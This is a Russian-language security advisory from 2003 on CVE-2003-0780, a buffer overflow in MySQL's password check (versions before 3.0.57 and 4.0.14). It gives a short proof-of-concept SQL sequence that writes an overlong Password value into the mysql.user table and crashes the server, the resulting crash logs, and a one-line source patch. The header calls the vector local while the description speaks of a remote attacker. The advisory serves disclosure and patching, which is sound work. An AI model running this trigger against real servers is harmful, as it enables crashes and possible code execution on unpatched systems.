| Дата публикации: | 11.09.2003 |
| Всего просмотров: | 2313 |
| Опасность: | Низкая |
| Наличие исправления: | Да |
| Количество уязвимостей: | 1 |
| CVE ID: | CVE-2003-0780 |
| Вектор эксплуатации: | Локальная |
| Воздействие: | Повышение привилегий |
| CWE ID: | Нет данных |
| Наличие эксплоита: | Нет данных |
| Уязвимые продукты: |
MySQL 3.x
MySQL 4.x |
Уязвимые версии: MySQL 3.0.х до 3.0.57 и MySQL 4.0.х до 4.0.14 Описание: Переполнение буфера обнаружено в MySQL. Удаленный атакующий может выполнить произвольный код на уязвимой системе. Переполнение буфера обнаружено в функции проверки пароля. Удаленный атакующий, имеющий административные привилегии на MySQL сервере, может представить специально обработанное значение поля "Password", длиннее 16 символов, чтобы вызвать переполнение буфера и выполнить произвольный код с привилегиями MySQL базы данных. На большинстве Linux систем, адрес возврата можно перезаписать на 444 байта.
Пример/Эксплоит: USE mysql; > ALTER TABLE User CHANGE COLUMN Password Password LONGTEXT; > UPDATE User SET Password = '123456781234567812345678123456781234567812345678123456781234567812345678 123456781234567812345678123456781234567812345678123456781234567812345678 123456781234567812345678123456781234567812345678123456781234567812345678 12345678123456781234567812345678...' WHERE User = 'abcd'; > FLUSH PRIVILEGES; [Connection lost] mysqld_safe/safe_mysqld log : 030806 21:05:43 mysqld restarted 030806 21:05:43 mysqld restarted 030806 21:05:43 mysqld restarted 030806 21:05:43 mysqld restarted MySQL log : tons of mysqld got signal 11; URL производителя:http://www.mysql.com Решение: Установите обновленную версию программы или примените следующий патч:
--- mysql-4.0.14-old/sql/sql_acl.cc 2003-07-18 16:57:25.000000000 +0200
+++ mysql-4.0.14/sql/sql_acl.cc 2003-09-10 23:21:13.559759576 +0200
@@ -233,7 +233,7 @@
"Found old style password for user '%s'. Ignoring user. (You may want to
restart mysqld using --old-protocol)",
user.user ? user.user : ""); /* purecov: tested */
}
- else if (length % 8) // This holds true for passwords
+ else if (length % 8 || length > 16) // This holds true for passwords
{
sql_print_error(
"Found invalid password for user: '%s@%s'; Ignoring user",
|
|
| Ссылки: | Buffer overflow in MySQL |